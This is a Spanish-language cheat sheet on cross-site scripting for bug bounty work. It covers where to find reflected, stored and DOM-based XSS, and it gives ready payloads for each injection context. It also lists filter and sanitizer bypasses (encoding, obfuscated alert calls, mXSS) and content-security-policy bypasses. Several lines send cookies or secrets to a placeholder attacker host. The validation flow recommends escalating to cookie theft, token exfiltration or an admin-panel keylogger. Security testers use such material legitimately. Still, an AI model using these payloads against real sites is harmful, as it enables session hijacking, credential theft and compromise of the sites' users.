Cheatsheet

Cheatsheet XSS: contextos, payloads y bypass de filtros/CSP

Tipos y dónde mirar primero

Reflejado: el input vuelve en la misma respuesta. Busca en parámetros GET/POST, headers (Referer, User-Agent, X-Forwarded-For), y errores que reflejan rutas.

Almacenado: persiste (perfil, comentarios, nombre de archivo subido, logs visibles en panel admin). Es el más rentable en bug bounty porque suele escalar a robo de sesión de admin.

DOM-based: el sink está en JS del cliente, no en el HTML del server. Enfócate en innerHTML, outerHTML, document.write, insertAdjacentHTML, eval, setTimeout(string), location, jQuery.html(), $.parseHTML. Traza el flow: sources (location.hash, location.search, document.referrer, window.name, postMessage) → sinks.

// grep rápido en bundles
curl -s https://target/app.js | grep -nE '\.(innerHTML|outerHTML|insertAdjacentHTML|write)|eval\(|new Function|setTimeout\([^,]*\)'

Identificación de contexto

Antes de disparar payloads, determina dónde cae tu input:

Contexto Cómo detectarlo Cierre necesario
HTML texto <div>INPUT</div> <script> o <img onerror>
Atributo entre comillas value="INPUT" "> o " onmouseover=
Atributo sin comillas value=INPUT espacio + onX=
Bloque <script> var x='INPUT' ';PAYLOAD// o </script>
JSON embebido {"a":"INPUT"} </script> si el tag lo permite
href/src URL href="INPUT" javascript: o data:
CSS style="...INPUT..." ;} + background:url(javascript:...)

Payloads por contexto

HTML texto:

<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<details open ontoggle=alert(1)>

Atributo (comillas dobles):

"><svg onload=alert(1)>
" autofocus onfocus=alert(1) x="
" onmouseover=alert(1) z="

Atributo sin comillas:

x onmouseover=alert(1)
x autofocus onfocus=alert(1)

Dentro de <script>:

';alert(1)//
';alert(1);var a='
</script><script>alert(1)</script>
\';alert(1)//

href/src:

javascript:alert(document.domain)
javascript:fetch('//attacker/?'+document.cookie)
data:text/html,<script>alert(1)</script>

DOM-based (hash/sink):

https://target/#<img src=x onerror=alert(1)>
https://target/?q=<svg onload=alert(1)>

Bypass de filtros

Blacklist de tags/palabras: usa casos alternativos, tags no tan filtrados y encoding.

<ScRiPt>alert(1)</ScRiPt>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<a href="java&#115;cript:alert(1)">x</a>
<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;">

Filtro de alert: usa confirm, prompt, print, o accede al objeto global.

<img src=x onerror=confirm(1)>
<img src=x onerror=window['ale'+'rt'](1)>
<img src=x onerror=self['\u0061lert'](1)>
<img src=x onerror=top['ale'+'rt'](1)>

Filtro de paréntesis / espacios: throw/onerror + template literals, backticks, o location=name.

<svg onload=alert`1`>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<img src=x onerror=location='javas'+'cript:alert(1)'>

Filtra <script> pero no eventos: prefiere onerror, onload, onfocus con autofocus, onanimationstart.

<style>@keyframes x{}</style><div style="animation-name:x" onanimationstart=alert(1)>

Encoding doble cuando el server decodifica una vez y el cliente otra: %253Cscript%253E → %3Cscript%3E → <script>.

mXSS: pasa por sanitizers con HTML que se re-parsea distinto:

<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

Bypass de CSP

Primero inspecciona el header y reporta el bypass exacto. Mecanismos y ejemplos:

  • unsafe-inline presente: CSP inútil para XSS, payload inline directo.
  • 'nonce-XXX': si el nonce es predecible/estático o se refleja, reusarlo: <script nonce="XXX">alert(1)</script>.
  • script-src 'self' con JSONP/endpoint: busca callbacks abiertos.
<script src="/api/jsonp?callback=alert(1)"></script>
  • CDN en allowlist (Angular, cdnjs): usa gadgets conocidos.
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
  • base-uri ausente: inyecta <base href="//attacker/"> para redirigir rutas relativas.
  • object-src ausente/*: <object data="data:text/html,<script>alert(1)</script>">.
  • strict-dynamic sin nonce válido: si puedes ejecutar vía un script ya trusted, encadena.
  • Dangling markup cuando no puedes ejecutar JS pero necesitas exfiltrar:
<img src='//attacker/?
<form action='//attacker/'><input name=secret>

Verifica tu bypass con curl -sI y consola del navegador; recuerda que script-src-elem/script-src-attr pueden sobrescribir script-src.

Flujo de validación

  1. Reproduce el reflejo con un canary único (xss7a9fz) y busca en la respuesta.
  2. Determina contexto exacto (mira 50 chars alrededor).
  3. Prueba payload mínimo que ejecute (alert(document.domain) siempre, no alert(1) — sirve para PoC y evita falsos positivos en sandboxes).
  4. Escala a PoC real: robo de cookie no-HttpOnly, fetch a tu listener, CSRF token exfiltrado, o keylogger en panel admin.
  5. Documenta: URL exacta, request crudo, contexto, payload final, y screenshot de ejecución. En bug bounty, un alert sin impacto demostrable suele bajarte la severidad.